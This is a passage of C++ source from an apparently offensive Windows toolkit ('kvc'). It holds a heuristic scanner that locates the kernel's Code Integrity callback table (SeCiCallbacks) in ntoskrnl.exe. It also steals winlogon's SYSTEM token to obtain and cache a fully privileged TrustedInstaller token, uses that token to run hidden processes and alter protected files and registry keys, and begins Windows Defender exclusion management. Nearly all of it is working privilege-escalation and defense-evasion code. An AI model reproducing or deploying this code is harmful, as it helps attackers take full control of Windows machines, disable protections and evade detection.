        if (ctx.base[pos] != kHead[0] || ctx.base[pos+1] != kHead[1]) continue;
        DWORD tailStart = pos + 6;
        if (tailStart + 7 > ctx.size) continue;
        bool match = true;
        for (int k = 0; k < 7; k++) if (ctx.base[tailStart+k] != kTail[k]) { match = false; break; }
        if (!match) continue;

        Store ms;
        if (!ReadStore(ctx, pos, ms)) continue;
        DWORD matchRva; int matchSec;
        if (!OffsetToRva(ctx, pos, matchRva, matchSec)) continue;

        DWORD searchStart, searchEnd;
        DWORD bOff, eOff;
        if (FindRtfBounds(ctx, matchRva, bOff, eOff)) searchStart = bOff;
        else searchStart = pos > 0x600 ? pos - 0x600 : 0;
        searchEnd = pos;
        if (searchEnd < LEA_LEN || searchEnd <= searchStart) continue;

        DWORD leaOff = searchEnd - LEA_LEN;
        for (;;) {
            if (IsRipLea(ctx, leaOff)) {
                DWORD leaRva; int leaSec;
                if (OffsetToRva(ctx, leaOff, leaRva, leaSec)) {
                    LONG rel32 = *(LONG*)(ctx.base + leaOff + 3);
                    DWORD targetRva = (DWORD)((LONGLONG)leaRva + LEA_LEN + rel32);
                    if (IsWritableData(ctx, SecIdxForRva(ctx, targetRva))) {
                        DWORD seciRva = targetRva - STRUCT_OFFSET;
                        int score = CountMovHits(ctx, pos, seciRva, 300);
                        if (seciRva == ms.targetRva) score += 50;
                        if (score > bestScore) { bestScore = score; bestRva = seciRva; }
                    }
                }
            }
            if (leaOff == searchStart) break;
            leaOff--;
        }
    }
    return bestScore >= 1 ? bestRva : 0;
}

} // anonymous namespace

std::optional<std::pair<DWORD64, DWORD64>> SymbolEngine::FindSeCiHeuristicOffsets(
    const std::wstring& kernelPath) noexcept
{
    INFO(L"[SymbolEngine] Starting heuristic SeCiCallbacks scan on: %s", kernelPath.c_str());

    // Load the kernel file into memory
    HANDLE hFile = CreateFileW(kernelPath.c_str(), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
                               nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
    if (hFile == INVALID_HANDLE_VALUE) {
        ERROR(L"[SymbolEngine] Cannot open kernel: %lu", GetLastError());
        return std::nullopt;
    }
    LARGE_INTEGER fileSize{};
    if (!GetFileSizeEx(hFile, &fileSize) || fileSize.QuadPart <= 0 || fileSize.QuadPart > 0x10000000) {
        CloseHandle(hFile);
        ERROR(L"[SymbolEngine] Kernel file size invalid");
        return std::nullopt;
    }
    DWORD sz = (DWORD)fileSize.QuadPart;
    std::vector<BYTE> buf(sz);
    DWORD read = 0;
    if (!ReadFile(hFile, buf.data(), sz, &read, nullptr) || read != sz) {
        CloseHandle(hFile);
        ERROR(L"[SymbolEngine] Failed to read kernel");
        return std::nullopt;
    }
    CloseHandle(hFile);

    PeCtx ctx{};
    ctx.base = buf.data();
    ctx.size = sz;
    if (!ParsePeCtx(ctx)) {
        ERROR(L"[SymbolEngine] Failed to parse kernel PE");
        return std::nullopt;
    }

    // Find ZwFlushInstructionCache from export table
    DWORD zwFlushRva = FindExportRva(ctx, "ZwFlushInstructionCache");
    if (!zwFlushRva) {
        ERROR(L"[SymbolEngine] ZwFlushInstructionCache not found in exports");
        return std::nullopt;
    }
    INFO(L"[SymbolEngine] ZwFlushInstructionCache RVA: 0x%lX", zwFlushRva);

    // Fast -> Structural -> Legacy cascade
    DWORD seciRva = FastFindSeCi(ctx);
    if (seciRva) {
        INFO(L"[SymbolEngine] SeCiCallbacks found (Fast heuristic) RVA: 0x%lX", seciRva);
        return std::make_pair((DWORD64)seciRva, (DWORD64)zwFlushRva);
    }

    INFO(L"[SymbolEngine] Fast heuristic failed, trying Structural scan...");
    seciRva = StructuralFindSeCi(ctx);
    if (seciRva) {
        INFO(L"[SymbolEngine] SeCiCallbacks found (Structural) RVA: 0x%lX", seciRva);
        return std::make_pair((DWORD64)seciRva, (DWORD64)zwFlushRva);
    }

    INFO(L"[SymbolEngine] Structural scan failed, trying Legacy anchor...");
    seciRva = LegacyFindSeCi(ctx);
    if (seciRva) {
        INFO(L"[SymbolEngine] SeCiCallbacks found (Legacy) RVA: 0x%lX", seciRva);
        return std::make_pair((DWORD64)seciRva, (DWORD64)zwFlushRva);
    }

    ERROR(L"[SymbolEngine] Heuristic scan exhausted all methods - SeCiCallbacks not found");
    return std::nullopt;
}

<<<FILE: kvc/SymbolEngine.h>>>
Created:  2026-04-09 19:44:04
Modified: 2026-04-09 19:44:04
Size:     2.5 KB
// SymbolEngine.h
// Symbol resolution with local PDB priority and automatic download fallback

#pragma once

#include "common.h"
#include <dbghelp.h>
#include <winhttp.h>
#include <vector>
#include <string>
#include <optional>

class SymbolEngine {
public:
    SymbolEngine();
    ~SymbolEngine();

    // Get kernel symbol offsets using local PDB or download
    std::optional<std::pair<DWORD64, DWORD64>> GetKernelSymbolOffsets() noexcept;
    
    // Get offsets for specific kernel path (backward compatibility)
    std::optional<std::pair<DWORD64, DWORD64>> GetSymbolOffsets(const std::wstring& kernelPath) noexcept;

    // Heuristic fallback: scan ntoskrnl.exe PE directly (Fast->Structural->Legacy)
    // Used when PDB download/resolution fails
    std::optional<std::pair<DWORD64, DWORD64>> FindSeCiHeuristicOffsets(const std::wstring& kernelPath) noexcept;

    // Generic symbol resolver for any module
    std::optional<DWORD64> GetSymbolOffset(const std::wstring& modulePath, const std::wstring& symbolName) noexcept;

private:
    bool m_initialized = false;
    std::wstring m_symbolServer;

    // Initialization
    bool Initialize() noexcept;

    // Kernel information
    std::optional<std::pair<DWORD64, std::wstring>> GetKernelInfo() noexcept;

    // Local PDB resolution
    std::wstring GetLocalPdbPath(const std::wstring& pdbName, const std::wstring& guid) noexcept;

    // PDB extraction from PE
    std::optional<std::pair<std::wstring, std::wstring>> GetPdbInfoFromPe(const std::wstring& pePath) noexcept;

    // PDB download - directly to target location (no temp)
    bool DownloadPdbToDisk(const std::wstring& pdbName, const std::wstring& guid, 
                           const std::wstring& targetPath) noexcept;
    bool HttpDownload(const std::wstring& url, std::vector<BYTE>& output) noexcept;
    bool CreateDirectoryTree(const std::wstring& path) noexcept;

    // Remove all GUID subdirectories under pdbName\ except currentGuid
    void PurgeStaleGuids(const std::wstring& pdbName, const std::wstring& currentGuid) noexcept;

    // Offset calculation from disk
    std::optional<std::pair<DWORD64, DWORD64>> CalculateOffsetsFromDisk(
        const std::wstring& pdbPath,
        const std::wstring& pdbName) noexcept;

    std::optional<DWORD64> CalculateSymbolOffsetFromDisk(
        const std::wstring& pdbPath,
        const std::wstring& pdbName,
        const std::wstring& symbolName) noexcept;

    // Callback for symbol loading
    static BOOL CALLBACK SymbolCallback(HANDLE, ULONG, ULONG64, ULONG64);
};

<<<FILE: kvc/TrustedInstallerIntegrator.cpp>>>
Created:  2026-02-27 12:50:26
Modified: 2026-04-05 01:03:00
Size:     44.72 KB
#include "TrustedInstallerIntegrator.h"
#include "WmiDefenderClient.h"
#include "common.h"
#include <tchar.h>
#include <tlhelp32.h>
#include <shlobj.h>
#include <objbase.h>
#include <iostream>
#include <algorithm>
#include <cctype>
#include <filesystem>
#include <string_view>
#include <span>

namespace fs = std::filesystem;

#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "user32.lib")
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "shell32.lib")

// ============================================================================
// CONSTANTS
// ============================================================================

static HANDLE g_cachedTrustedInstallerToken = nullptr;
static DWORD g_lastTokenAccessTime = 0;
static const DWORD TOKEN_CACHE_TIMEOUT = 30000;

// ============================================================================
// CONSTRUCTOR / DESTRUCTOR
// ============================================================================

TrustedInstallerIntegrator::TrustedInstallerIntegrator()
{
    CoInitialize(NULL);
}

TrustedInstallerIntegrator::~TrustedInstallerIntegrator()
{
    CoUninitialize();
    
    if (g_cachedTrustedInstallerToken) {
        CloseHandle(g_cachedTrustedInstallerToken);
        g_cachedTrustedInstallerToken = nullptr;
    }
}

// ============================================================================
// PRIVILEGE MANAGEMENT
// ============================================================================

std::wstring TrustedInstallerIntegrator::GetFullPrivilegeName(Privilege priv)
{
    size_t index = static_cast<size_t>(priv);
    if (index < PRIVILEGE_COUNT) {
        return L"Se" + std::wstring(PRIVILEGE_NAMES[index]) + L"Privilege";
    }
    return L"";
}

std::wstring TrustedInstallerIntegrator::GetFullPrivilegeName(std::wstring_view name)
{
    return L"Se" + std::wstring(name) + L"Privilege";
}

// ============================================================================
// CORE TOKEN MANAGEMENT
// ============================================================================

BOOL TrustedInstallerIntegrator::EnablePrivilegeInternal(std::wstring_view privilegeName)
{
    TokenGuard token;
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, token.addressof()))
        return FALSE;

    LUID luid;
    // Using .data() is safe here since privilegeName comes from string literals
    if (!LookupPrivilegeValueW(NULL, privilegeName.data(), &luid)) {
        return FALSE;
    }

    TOKEN_PRIVILEGES tp{
        .PrivilegeCount = 1,
        .Privileges = {{.Luid = luid, .Attributes = SE_PRIVILEGE_ENABLED}}
    };

    BOOL result = AdjustTokenPrivileges(token.get(), FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);

    return result && (GetLastError() == ERROR_SUCCESS);
}

BOOL TrustedInstallerIntegrator::EnablePrivilege(Privilege priv)
{
    auto fullName = GetFullPrivilegeName(priv);
    if (fullName.empty()) return FALSE;
    return EnablePrivilegeInternal(fullName);
}

BOOL TrustedInstallerIntegrator::ImpersonateSystem()
{
    EnablePrivilege(Privilege::Debug);

    DWORD systemPid = GetProcessIdByName(L"winlogon.exe");
    if (systemPid == 0) return FALSE;

    HandleGuard systemProcess(OpenProcess(PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, systemPid));
    if (!systemProcess) return FALSE;

    TokenGuard systemToken;
    if (!OpenProcessToken(systemProcess.get(), TOKEN_DUPLICATE | TOKEN_QUERY, systemToken.addressof())) {
        return FALSE;
    }

    TokenGuard duplicatedToken;
    if (!DuplicateTokenEx(systemToken.get(), MAXIMUM_ALLOWED, NULL, SecurityImpersonation,
                          TokenImpersonation, duplicatedToken.addressof())) {
        return FALSE;
    }

    return ImpersonateLoggedOnUser(duplicatedToken.get());
}

DWORD TrustedInstallerIntegrator::StartTrustedInstallerService()
{
    SCManagerGuard scm(OpenSCManagerW(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT));
    if (!scm) return 0;

    ServiceHandleGuard service(OpenServiceW(scm.get(), L"TrustedInstaller",
                                            SERVICE_QUERY_STATUS | SERVICE_START));
    if (!service) {
        return 0;
    }

    SERVICE_STATUS_PROCESS statusBuffer;
    DWORD bytesNeeded;

    if (!QueryServiceStatusEx(service.get(), SC_STATUS_PROCESS_INFO, (LPBYTE)&statusBuffer,
                              sizeof(SERVICE_STATUS_PROCESS), &bytesNeeded)) {
        return 0;
    }

    // Already running
    if (statusBuffer.dwCurrentState == SERVICE_RUNNING) {
        return statusBuffer.dwProcessId;
    }

    // Start if stopped
    if (statusBuffer.dwCurrentState == SERVICE_STOPPED) {
        if (!StartServiceW(service.get(), 0, NULL)) {
            return 0;
        }
    }

    // Check immediately after start
    if (QueryServiceStatusEx(service.get(), SC_STATUS_PROCESS_INFO, (LPBYTE)&statusBuffer,
                             sizeof(SERVICE_STATUS_PROCESS), &bytesNeeded)) {
        if (statusBuffer.dwCurrentState == SERVICE_RUNNING) {
            return statusBuffer.dwProcessId;
        }
    }

    Sleep(100);

    if (QueryServiceStatusEx(service.get(), SC_STATUS_PROCESS_INFO, (LPBYTE)&statusBuffer,
                             sizeof(SERVICE_STATUS_PROCESS), &bytesNeeded)) {
        if (statusBuffer.dwCurrentState == SERVICE_RUNNING) {
            return statusBuffer.dwProcessId;
        }
    }

    return 0;
}

HANDLE TrustedInstallerIntegrator::GetCachedTrustedInstallerToken()
{
    DWORD currentTime = GetTickCount();

    // Return cached token if valid
    if (g_cachedTrustedInstallerToken && (currentTime - g_lastTokenAccessTime) < TOKEN_CACHE_TIMEOUT) {
        return g_cachedTrustedInstallerToken;
    }

    // Clear expired token
    if (g_cachedTrustedInstallerToken) {
        CloseHandle(g_cachedTrustedInstallerToken);
        g_cachedTrustedInstallerToken = nullptr;
    }

    if (!EnablePrivilege(Privilege::Debug) || !EnablePrivilege(Privilege::Impersonate)) {
        ERROR(L"Failed to enable required privileges");
        return nullptr;
    }

    ImpersonationGuard impersonation;
    if (!ImpersonateSystem()) {
        ERROR(L"Failed to impersonate SYSTEM");
        return nullptr;
    }
    impersonation.adopt();

    DWORD trustedInstallerPid = StartTrustedInstallerService();
    if (!trustedInstallerPid) {
        ERROR(L"Failed to start TrustedInstaller service");
        return nullptr;
    }

    HandleGuard tiProcess(OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, trustedInstallerPid));
    if (!tiProcess) {
        ERROR(L"Failed to open TrustedInstaller process");
        return nullptr;
    }

    TokenGuard tiToken;
    if (!OpenProcessToken(tiProcess.get(), TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES,
                          tiToken.addressof())) {
        ERROR(L"Failed to open TrustedInstaller token");
        return nullptr;
    }

    TokenGuard duplicatedToken;
    if (!DuplicateTokenEx(tiToken.get(), MAXIMUM_ALLOWED, NULL, SecurityImpersonation,
                          TokenImpersonation, duplicatedToken.addressof())) {
        ERROR(L"Failed to duplicate TrustedInstaller token");
        return nullptr;
    }

    // Enable all privileges by iterating through the Privilege enum
    for (size_t i = 0; i < PRIVILEGE_COUNT; ++i) {
        auto fullName = GetFullPrivilegeName(static_cast<Privilege>(i));

        if (fullName.empty()) continue;

        LUID luid;
        if (LookupPrivilegeValueW(NULL, fullName.c_str(), &luid)) {
            TOKEN_PRIVILEGES tp{
                .PrivilegeCount = 1,
                .Privileges = {{.Luid = luid, .Attributes = SE_PRIVILEGE_ENABLED}}
            };
            AdjustTokenPrivileges(duplicatedToken.get(), FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
        }
    }

    g_cachedTrustedInstallerToken = duplicatedToken.release();
    g_lastTokenAccessTime = currentTime;

    DEBUG(L"TrustedInstaller token cached successfully");
    return g_cachedTrustedInstallerToken;
}

// ============================================================================
// PROCESS EXECUTION
// ============================================================================

BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstaller(DWORD pid, std::wstring_view commandLine)
{
    HANDLE hToken = GetCachedTrustedInstallerToken();
    if (!hToken) return FALSE;

    std::wstring mutableCmd{commandLine};

    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi{};

    BOOL result = CreateProcessWithTokenW(hToken, 0, NULL, mutableCmd.data(), 0, NULL, NULL, &si, &pi);

    if (result) {
        HandleGuard processGuard(pi.hProcess);
        HandleGuard threadGuard(pi.hThread);
    }

    return result;
}

BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstallerSilent(DWORD pid, std::wstring_view commandLine)
{
    HANDLE hToken = GetCachedTrustedInstallerToken();
    if (!hToken) return FALSE;

    std::wstring mutableCmd{commandLine};

    STARTUPINFOW si{
        .cb = sizeof(si),
        .dwFlags = STARTF_USESHOWWINDOW,
        .wShowWindow = SW_HIDE
    };

    PROCESS_INFORMATION pi{};
    BOOL result = CreateProcessWithTokenW(hToken, 0, NULL, mutableCmd.data(), CREATE_NO_WINDOW, NULL, NULL, &si, &pi);

    if (result) {
        HandleGuard processGuard(pi.hProcess);
        HandleGuard threadGuard(pi.hThread);

        DWORD waitResult = WaitForSingleObject(processGuard.get(), 3000);

        if (waitResult == WAIT_OBJECT_0) {
            DWORD exitCode;
            GetExitCodeProcess(processGuard.get(), &exitCode);
            result = (exitCode == 0);
        } else {
            result = FALSE;
        }
    }

    return result;
}

bool TrustedInstallerIntegrator::RunAsTrustedInstaller(const std::wstring& commandLine)
{
    std::wstring finalCommandLine = commandLine;
    
    if (IsLnkFile(commandLine)) {
        finalCommandLine = ResolveLnk(commandLine);
        if (finalCommandLine.empty()) {
            return false;
        }
    }
    
    if (!ImpersonateSystem()) {
        return false;
    }

    DWORD trustedInstallerPid = StartTrustedInstallerService();
    if (trustedInstallerPid == 0) {
        RevertToSelf();
        return false;
    }

    BOOL result = CreateProcessAsTrustedInstaller(trustedInstallerPid, finalCommandLine);

    RevertToSelf();
    return result != FALSE;
}

bool TrustedInstallerIntegrator::RunAsTrustedInstallerSilent(const std::wstring& commandLine)
{
    std::wstring finalCommandLine = commandLine;
    
    if (IsLnkFile(commandLine)) {
        finalCommandLine = ResolveLnk(commandLine);
        if (finalCommandLine.empty()) {
            return false;
        }
    }
    
    if (!ImpersonateSystem()) {
        return false;
    }

    DWORD trustedInstallerPid = StartTrustedInstallerService();
    if (trustedInstallerPid == 0) {
        RevertToSelf();
        return false;
    }

    BOOL result = CreateProcessAsTrustedInstallerSilent(trustedInstallerPid, finalCommandLine);

    RevertToSelf();
    return result != FALSE;
}

// ============================================================================
// FILE OPERATIONS
// ============================================================================

bool TrustedInstallerIntegrator::WriteFileAsTrustedInstaller(std::wstring_view filePath,
                                                             std::span<const BYTE> data) noexcept
{
    if (data.empty()) {
        ERROR(L"Cannot write empty data");
        return false;
    }

    HANDLE hToken = GetCachedTrustedInstallerToken();
    if (!hToken) {
        ERROR(L"Failed to get TrustedInstaller token");
        return false;
    }

    if (!ImpersonateLoggedOnUser(hToken)) {
        ERROR(L"Failed to impersonate TrustedInstaller");
        return false;
    }
    ImpersonationGuard impersonation;
    impersonation.adopt();

    std::wstring filePathStr{filePath};
    FileGuard file(CreateFileW(
        filePathStr.c_str(),
        GENERIC_WRITE,
        0,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    ));

    if (!file) {
        DWORD error = GetLastError();
        if (error == ERROR_SHARING_VIOLATION) {
            // File is locked by a running kernel driver - caller decides how to handle.
            // Log at DEBUG level only; this is non-fatal when the file already exists.
            DEBUG(L"Failed to create file: %s (error: %d)", filePathStr.c_str(), error);
        } else {
            ERROR(L"Failed to create file: %s (error: %d)", filePathStr.c_str(), error);
        }
        return false;
    }

    DWORD totalWritten = 0;
    const DWORD chunkSize = 64 * 1024;

    while (totalWritten < data.size()) {
        DWORD bytesToWrite = (std::min)(chunkSize, static_cast<DWORD>(data.size() - totalWritten));
        DWORD bytesWritten = 0;

        if (!::WriteFile(file.get(), data.data() + totalWritten, bytesToWrite, &bytesWritten, NULL)) {
            ERROR(L"WriteFile failed at offset %d", totalWritten);
            return false;
        }

        if (bytesWritten != bytesToWrite) {
            ERROR(L"Incomplete write: %d/%d bytes", bytesWritten, bytesToWrite);
            return false;
        }

        totalWritten += bytesWritten;
    }

    DEBUG(L"File written successfully: %s (%zu bytes)", filePathStr.c_str(), data.size());
    return true;
}

bool TrustedInstallerIntegrator::DeleteFileAsTrustedInstaller(std::wstring_view filePath) noexcept
{
    HANDLE hToken = GetCachedTrustedInstallerToken();
    if (!hToken) {
        ERROR(L"Failed to get TrustedInstaller token");
        return false;
    }

    if (!ImpersonateLoggedOnUser(hToken)) {
        ERROR(L"Failed to impersonate TrustedInstaller");
        return false;
    }
    ImpersonationGuard impersonation;
    impersonation.adopt();

    std::wstring filePathStr{filePath};

    DWORD attrs = GetFileAttributesW(filePathStr.c_str());
    if (attrs != INVALID_FILE_ATTRIBUTES) {
        SetFileAttributesW(filePathStr.c_str(), FILE_ATTRIBUTE_NORMAL);
    }

    BOOL result = DeleteFileW(filePathStr.c_str());
    DWORD error = result ? 0 : GetLastError();

    if (result) {
        DEBUG(L"File deleted: %s", filePathStr.c_str());
    } else {
        ERROR(L"Failed to delete file: %s (error: %d)", filePathStr.c_str(), error);
    }

    return result != FALSE;
}

bool TrustedInstallerIntegrator::CreateDirectoryAsTrustedInstaller(std::wstring_view directoryPath) noexcept
{
    HANDLE hToken = GetCachedTrustedInstallerToken();
    if (!hToken) {
        ERROR(L"Failed to get TrustedInstaller token");
        return false;
    }

    if (!ImpersonateLoggedOnUser(hToken)) {
        ERROR(L"Failed to impersonate TrustedInstaller");
        return false;
    }
    ImpersonationGuard impersonation;
    impersonation.adopt();

    std::wstring directoryPathStr{directoryPath};
    BOOL result = SHCreateDirectoryExW(NULL, directoryPathStr.c_str(), NULL);
    DWORD error = GetLastError();

    bool success = (result == ERROR_SUCCESS || error == ERROR_ALREADY_EXISTS);

    if (success) {
        DEBUG(L"Directory created with TrustedInstaller: %s", directoryPathStr.c_str());
    } else {
        ERROR(L"Failed to create directory: %s (error: %d)", directoryPathStr.c_str(), error);
    }

    return success;
}

bool TrustedInstallerIntegrator::RenameFileAsTrustedInstaller(std::wstring_view srcPath,
                                                              std::wstring_view dstPath) noexcept
{
    HANDLE hToken = GetCachedTrustedInstallerToken();
    if (!hToken) {
        ERROR(L"Failed to get TrustedInstaller token");
        return false;
    }

    if (!ImpersonateLoggedOnUser(hToken)) {
        ERROR(L"Failed to impersonate TrustedInstaller");
        return false;
    }
    ImpersonationGuard impersonation;
    impersonation.adopt();

    std::wstring srcPathStr{srcPath};
    std::wstring dstPathStr{dstPath};

    DWORD attrs = GetFileAttributesW(srcPathStr.c_str());
    if (attrs != INVALID_FILE_ATTRIBUTES) {
        SetFileAttributesW(srcPathStr.c_str(), FILE_ATTRIBUTE_NORMAL);
    }

    BOOL result = MoveFileW(srcPathStr.c_str(), dstPathStr.c_str());
    DWORD error = result ? ERROR_SUCCESS : GetLastError();

    if (!result) {
        ERROR(L"Failed to rename file: %s -> %s (error: %d)", srcPathStr.c_str(), dstPathStr.c_str(), error);
        return false;
    }

    DEBUG(L"File renamed successfully: %s -> %s", srcPathStr.c_str(), dstPathStr.c_str());
    return true;
}

// ============================================================================
// REGISTRY OPERATIONS
// ============================================================================

bool TrustedInstallerIntegrator::CreateRegistryKeyAsTrustedInstaller(HKEY hRootKey,
                                                                     std::wstring_view subKey) noexcept
{
    HANDLE hToken = GetCachedTrustedInstallerToken();
    if (!hToken) {
        ERROR(L"Failed to get TrustedInstaller token");
        return false;
    }

    if (!ImpersonateLoggedOnUser(hToken)) {
        ERROR(L"Failed to impersonate TrustedInstaller");
        return false;
    }
    ImpersonationGuard impersonation;
    impersonation.adopt();

    DWORD dwDisposition;
    std::wstring subKeyStr{subKey};

    RegKeyGuard key;
    LONG result = RegCreateKeyExW(
        hRootKey,
        subKeyStr.c_str(),
        0,
        NULL,
        REG_OPTION_NON_VOLATILE,
        KEY_ALL_ACCESS,
        NULL,
        key.addressof(),
        &dwDisposition
    );

    if (result == ERROR_SUCCESS) {
        SUCCESS(L"Registry key created: %s", subKeyStr.c_str());
    } else {
        ERROR(L"Failed to create registry key: %s (error: %d)", subKeyStr.c_str(), result);
    }

    return (result == ERROR_SUCCESS);
}

bool TrustedInstallerIntegrator::WriteRegistryValueAsTrustedInstaller(HKEY hRootKey,
                                                                      std::wstring_view subKey,
                                                                      std::wstring_view valueName,
                                                                      std::wstring_view value) noexcept
{
    HANDLE hToken = GetCachedTrustedInstallerToken();
    if (!hToken) {
        ERROR(L"Failed to get TrustedInstaller token");
        return false;
    }

    if (!ImpersonateLoggedOnUser(hToken)) {
        ERROR(L"Failed to impersonate TrustedInstaller");
        return false;
    }
    ImpersonationGuard impersonation;
    impersonation.adopt();

    std::wstring subKeyStr{subKey};
    RegKeyGuard key;
    LONG openResult = RegOpenKeyExW(hRootKey, subKeyStr.c_str(), 0, KEY_SET_VALUE, key.addressof());

    if (openResult != ERROR_SUCCESS) {
        ERROR(L"Failed to open registry key: %s (error: %d)", subKeyStr.c_str(), openResult);
        return false;
    }

    std::wstring valueStr{value};
    LONG result = RegSetValueExW(
        key.get(),
        std::wstring{valueName}.c_str(),
        0,
        REG_EXPAND_SZ,
        (const BYTE*)valueStr.c_str(),
        (DWORD)((valueStr.length() + 1) * sizeof(wchar_t))
    );

    if (result == ERROR_SUCCESS) {
        SUCCESS(L"Registry value written: %s\\%s", subKeyStr.c_str(), std::wstring{valueName}.c_str());
    } else {
        ERROR(L"Failed to write registry value (error: %d)", result);
    }

    return (result == ERROR_SUCCESS);
}

bool TrustedInstallerIntegrator::WriteRegistryDwordAsTrustedInstaller(HKEY hRootKey,
                                                                      std::wstring_view subKey,
                                                                      std::wstring_view valueName,
                                                                      DWORD value) noexcept
{
    HANDLE hToken = GetCachedTrustedInstallerToken();
    if (!hToken) {
        ERROR(L"Failed to get TrustedInstaller token");
        return false;
    }

    if (!ImpersonateLoggedOnUser(hToken)) {
        ERROR(L"Failed to impersonate TrustedInstaller");
        return false;
    }
    ImpersonationGuard impersonation;
    impersonation.adopt();

    std::wstring subKeyStr{subKey};
    RegKeyGuard key;
    LONG openResult = RegOpenKeyExW(hRootKey, subKeyStr.c_str(), 0, KEY_SET_VALUE, key.addressof());

    if (openResult != ERROR_SUCCESS) {
        ERROR(L"Failed to open registry key: %s (error: %d)", subKeyStr.c_str(), openResult);
        return false;
    }

    LONG result = RegSetValueExW(
        key.get(),
        std::wstring{valueName}.c_str(),
        0,
        REG_DWORD,
        (const BYTE*)&value,
        sizeof(DWORD)
    );

    if (result == ERROR_SUCCESS) {
        SUCCESS(L"Registry DWORD written: %s\\%s = 0x%08X", subKeyStr.c_str(), std::wstring{valueName}.c_str(), value);
    } else {
        ERROR(L"Failed to write registry DWORD (error: %d)", result);
    }

    return (result == ERROR_SUCCESS);
}

bool TrustedInstallerIntegrator::WriteRegistryBinaryAsTrustedInstaller(HKEY hRootKey,
                                                                       std::wstring_view subKey,
                                                                       std::wstring_view valueName,
                                                                       std::span<const BYTE> data) noexcept
{
    HANDLE hToken = GetCachedTrustedInstallerToken();
    if (!hToken) {
        ERROR(L"Failed to get TrustedInstaller token");
        return false;
    }

    if (!ImpersonateLoggedOnUser(hToken)) {
        ERROR(L"Failed to impersonate TrustedInstaller");
        return false;
    }
    ImpersonationGuard impersonation;
    impersonation.adopt();

    std::wstring subKeyStr{subKey};
    RegKeyGuard key;
    LONG openResult = RegOpenKeyExW(hRootKey, subKeyStr.c_str(), 0, KEY_SET_VALUE, key.addressof());

    if (openResult != ERROR_SUCCESS) {
        ERROR(L"Failed to open registry key: %s (error: %d)", subKeyStr.c_str(), openResult);
        return false;
    }

    LONG result = RegSetValueExW(
        key.get(),
        std::wstring{valueName}.c_str(),
        0,
        REG_BINARY,
        data.data(),
        (DWORD)data.size()
    );

    if (result == ERROR_SUCCESS) {
        SUCCESS(L"Registry binary written: %s\\%s (%zu bytes)", subKeyStr.c_str(), std::wstring{valueName}.c_str(), data.size());
    } else {
        ERROR(L"Failed to write registry binary (error: %d)", result);
    }

    return (result == ERROR_SUCCESS);
}

bool TrustedInstallerIntegrator::ReadRegistryValueAsTrustedInstaller(HKEY hRootKey,
                                                                     std::wstring_view subKey,
                                                                     std::wstring_view valueName,
                                                                     std::wstring& outValue) noexcept
{
    HANDLE hToken = GetCachedTrustedInstallerToken();
    if (!hToken) {
        ERROR(L"Failed to get TrustedInstaller token");
        return false;
    }

    if (!ImpersonateLoggedOnUser(hToken)) {
        ERROR(L"Failed to impersonate TrustedInstaller");
        return false;
    }
    ImpersonationGuard impersonation;
    impersonation.adopt();

    std::wstring subKeyStr{subKey};
    RegKeyGuard key;
    LONG openResult = RegOpenKeyExW(hRootKey, subKeyStr.c_str(), 0, KEY_QUERY_VALUE, key.addressof());

    if (openResult != ERROR_SUCCESS) {
        ERROR(L"Failed to open registry key: %s (error: %d)", subKeyStr.c_str(), openResult);
        return false;
    }

    DWORD dataSize = 0;
    DWORD dataType = 0;
    LONG queryResult = RegQueryValueExW(key.get(), std::wstring{valueName}.c_str(), NULL, &dataType, NULL, &dataSize);

    if (queryResult != ERROR_SUCCESS || (dataType != REG_SZ && dataType != REG_EXPAND_SZ)) {
        ERROR(L"Failed to query registry value size (error: %d, type: %d)", queryResult, dataType);
        return false;
    }

    std::vector<wchar_t> buffer(dataSize / sizeof(wchar_t) + 1);
    LONG result = RegQueryValueExW(
        key.get(),
        std::wstring{valueName}.c_str(),
        NULL,
        &dataType,
        (LPBYTE)buffer.data(),
        &dataSize
    );

    if (result == ERROR_SUCCESS) {
        outValue = std::wstring(buffer.data());
        SUCCESS(L"Registry value read: %s\\%s", subKeyStr.c_str(), std::wstring{valueName}.c_str());
        return true;
    } else {
        ERROR(L"Failed to read registry value (error: %d)", result);
        return false;
    }
}

bool TrustedInstallerIntegrator::DeleteRegistryKeyAsTrustedInstaller(HKEY hRootKey,
                                                                     std::wstring_view subKey) noexcept
{
    HANDLE hToken = GetCachedTrustedInstallerToken();
    if (!hToken) {
        ERROR(L"Failed to get TrustedInstaller token");
        return false;
    }

    if (!ImpersonateLoggedOnUser(hToken)) {
        ERROR(L"Failed to impersonate TrustedInstaller");
        return false;
    }
    ImpersonationGuard impersonation;
    impersonation.adopt();

    std::wstring subKeyStr{subKey};
    LONG result = RegDeleteTreeW(hRootKey, subKeyStr.c_str());

    if (result == ERROR_SUCCESS) {
        SUCCESS(L"Registry key deleted: %s", subKeyStr.c_str());
    } else {
        ERROR(L"Failed to delete registry key: %s (error: %d)", subKeyStr.c_str(), result);
    }

    return (result == ERROR_SUCCESS);
}

// ============================================================================
// DEFENDER EXCLUSION MANAGEMENT
// ============================================================================

bool TrustedInstallerIntegrator::ValidateExtension(std::wstring_view extension) noexcept
{
    if (extension.empty()) return false;
    const std::wstring invalidChars = L"\\/:*?\"<>|";
    for (wchar_t c : extension) {
        if (invalidChars.find(c) != std::wstring::npos) return false;
    }
    return true;
}

bool TrustedInstallerIntegrator::ValidateIpAddress(std::wstring_view ipAddress) noexcept
{
    if (ipAddress.empty()) return false;

    std::string narrowIp;
    for (wchar_t c : ipAddress) {
        if (c > 127) return false;
        narrowIp += (char)c;
    }

    // Check for CIDR suffix
    std::string baseIp = narrowIp;
    size_t slashPos = narrowIp.find('/');
    if (slashPos != std::string::npos) {
